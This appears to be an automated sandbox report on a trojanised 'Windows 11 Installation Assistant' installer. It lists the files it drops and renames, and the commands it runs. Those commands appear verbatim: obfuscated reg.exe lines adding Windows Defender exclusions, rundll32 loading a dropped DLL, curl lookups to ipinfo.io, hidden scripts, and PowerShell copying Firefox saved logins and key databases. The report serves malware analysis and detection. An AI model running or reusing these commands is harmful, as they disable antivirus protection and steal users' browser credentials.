- from %APPDATA%\windows11installationassistant\icons\new blue\is-9ie9v.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d15.ico
- from %APPDATA%\windows11installationassistant\images\is-ivr3g.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@100.png
- from %APPDATA%\windows11installationassistant\images\is-j2rcg.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@325.png
- from %APPDATA%\windows11installationassistant\icons\new blue\is-t9ilm.tmp to %APPDATA%\windows11installationassistant\icons\new blue\prev.ico
- from %APPDATA%\windows11installationassistant\images\is-jpnj5.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@300.png
- from %APPDATA%\windows11installationassistant\images\is-s5fho.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@250.png
- from C:\tmp\is-llrgt.tmp to C:\tmp\pbd.dll
- from %APPDATA%\windows11installationassistant\icons\classic\is-l6kpj.tmp to %APPDATA%\windows11installationassistant\icons\classic\d7a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-808b6.tmp to %APPDATA%\windows11installationassistant\icons\classic\d7.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-37avu.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d20a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-lv5qo.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d20.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-v65sv.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d2.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-i3nnl.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d1a.ico
- from C:\tmp\is-37gf1.tmp to C:\tmp\ico1.ico
- from %APPDATA%\windows11installationassistant\images\is-ab4r5.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@225.png
- from %APPDATA%\windows11installationassistant\images\is-r3kkr.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@200.png
- from %APPDATA%\windows11installationassistant\images\is-7aohr.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@175.png
- from %APPDATA%\windows11installationassistant\images\is-20rn9.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@150.png
- from %APPDATA%\windows11installationassistant\images\is-eu06d.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@350.png
- from %APPDATA%\windows11installationassistant\images\is-582td.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@125.png
- from %APPDATA%\windows11installationassistant\images\is-par6v.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@200.png
- from %APPDATA%\windows11installationassistant\images\is-5a1kt.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@175.png
- from %APPDATA%\windows11installationassistant\images\is-lc90o.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@150.png
- from %APPDATA%\windows11installationassistant\images\is-e2pf5.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@125.png
- from %APPDATA%\windows11installationassistant\images\is-q3no9.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@100.png
- from %APPDATA%\windows11installationassistant\images\is-cki85.tmp to %APPDATA%\windows11installationassistant\images\createfence@200.png
- from %APPDATA%\windows11installationassistant\images\is-5lood.tmp to %APPDATA%\windows11installationassistant\images\createfence@175.png
- from %APPDATA%\windows11installationassistant\images\is-jl823.tmp to %APPDATA%\windows11installationassistant\images\createfence@150.png
- from %APPDATA%\windows11installationassistant\images\is-dnnr3.tmp to %APPDATA%\windows11installationassistant\images\createfence@125.png
- from %TEMP%\is-tghrs.tmp\temp\is-e4qlb.tmp to %TEMP%\is-tghrs.tmp\temp\r.exe
- from %APPDATA%\windows11installationassistant\images\is-nf6bk.tmp to %APPDATA%\windows11installationassistant\images\createfence@100.png
- from %APPDATA%\windows11installationassistant\images\is-vr9ah.tmp to %APPDATA%\windows11installationassistant\images\closeicon@150.png
- from %APPDATA%\windows11installationassistant\images\is-ch0oi.tmp to %APPDATA%\windows11installationassistant\images\closeicon@125.png
- from %APPDATA%\windows11installationassistant\images\is-mj74k.tmp to %APPDATA%\windows11installationassistant\images\closeicon@100.png
- from %APPDATA%\windows11installationassistant\icons\new blue\is-03te0.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d9a.ico
- from %APPDATA%\windows11installationassistant\images\is-hpcfk.tmp to %APPDATA%\windows11installationassistant\images\pagerbullets@100.png
Substitutes the following files
- %TEMP%\is-tghrs.tmp\temp\.cmd
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
- ClassName: 'MPWClass' WindowName: ''
Creates and executes the following
- '%TEMP%\is-8glpb.tmp\<File name>.tmp' /SL5="$A021A,18788298,203776,<Full path to file>"
- '%TEMP%\is-tghrs.tmp\temp\r.exe' /SW:0 reG.exe add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F
- '%TEMP%\is-tghrs.tmp\temp\r.exe' /TI/ /sW:0 reG.eXe Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F
- '%TEMP%\is-tghrs.tmp\temp\r.exe' /TI/ /SW:0 reG.exe add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F
- '%TEMP%\is-tghrs.tmp\temp\r.exe' /sW:0 reG.eXe Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F
- '%TEMP%\is-tghrs.tmp\temp\r.exe' /TI/ /Sw:0 reg.eXe add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f
- '%APPDATA%\windows11installationassistant\windows11instaiiation.scr'
- '%TEMP%\is-tghrs.tmp\temp\r.exe' /Sw:0 reg.eXe add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f
- '%TEMP%\is-tghrs.tmp\temp\r.exe' /TI/ /sW:0 reG.exe Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F
- '%TEMP%\is-tghrs.tmp\temp\r.exe' /sW:0 reG.exe Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F
- '%TEMP%\is-tghrs.tmp\temp\r.exe' /sW:0 reG.exe Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f
- '%TEMP%\is-tghrs.tmp\temp\r.exe' /TI/ /sW:0 reG.exe Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f
- '%TEMP%\is-817h1.tmp\<File name>.tmp' /SL5="$D0230,18788298,203776,<Full path to file>" /verysilent /sp-
- '<Full path to file>' /verysilent /sp-' (with hidden window)
- '<SYSTEM32>\reg.exe' Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f' (with hidden window)
- '%APPDATA%\windows11installationassistant\windows11instaiiation.scr' ' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C ""%TEMP%\is-TGHRS.tmp\temp\.cmd""' (with hidden window)
- '%WINDIR%\syswow64\taskkill.exe' /f /im "Windows11InstaIIation.scr"' (with hidden window)
- '<SYSTEM32>\reg.exe' add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F' (with hidden window)
- '<SYSTEM32>\reg.exe' Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F' (with hidden window)
- '%WINDIR%\syswow64\rundll32.exe' C:\tmp\pbd.dll, Uaby' (with hidden window)
- '<SYSTEM32>\reg.exe' Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\logins.json\" \"%TEMP%\iig11iy17ksf3s11056360.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key3.db\" \"%TEMP...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\rundll32.exe' C:\tmp\pbd.dll, Uaby
- '<SYSTEM32>\rundll32.exe' C:\tmp\pbd.dll, Uaby
- '%WINDIR%\syswow64\cmd.exe' /C ""%TEMP%\is-TGHRS.tmp\temp\.cmd""
- '<SYSTEM32>\reg.exe' Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f
- '<SYSTEM32>\reg.exe' Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F
- '<SYSTEM32>\reg.exe' add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f
- '<SYSTEM32>\reg.exe' add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F
- '%WINDIR%\syswow64\cmd.exe' /c cUrL -s ipINFO.io/Ip
- '<SYSTEM32>\reg.exe' Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F
- '%WINDIR%\syswow64\cmd.exe' /c cuRL -s IPINfo.Io/city
- '%WINDIR%\syswow64\cmd.exe' /c cUrl -s IPiNfo.io/country
- '%WINDIR%\syswow64\attrib.exe' +s +H %APPDATA%\windows11installationassistant\.cmD
- '%WINDIR%\syswow64\attrib.exe' +s +h %APPDATA%\windows11installationassistant\.vbs
- '<SYSTEM32>\dxdiag.exe' /x %LOCALAPPDATA%\Orange Group\Windows 11 Compatibility Checker\dxv.xml
- '%WINDIR%\syswow64\dxdiag.exe' /x %LOCALAPPDATA%\Orange Group\Windows 11 Compatibility Checker\dxv.xml
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\logins.json\" \"%TEMP%\iig11iy17ksf3s11056360.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key3.db\" \"%TEMP...
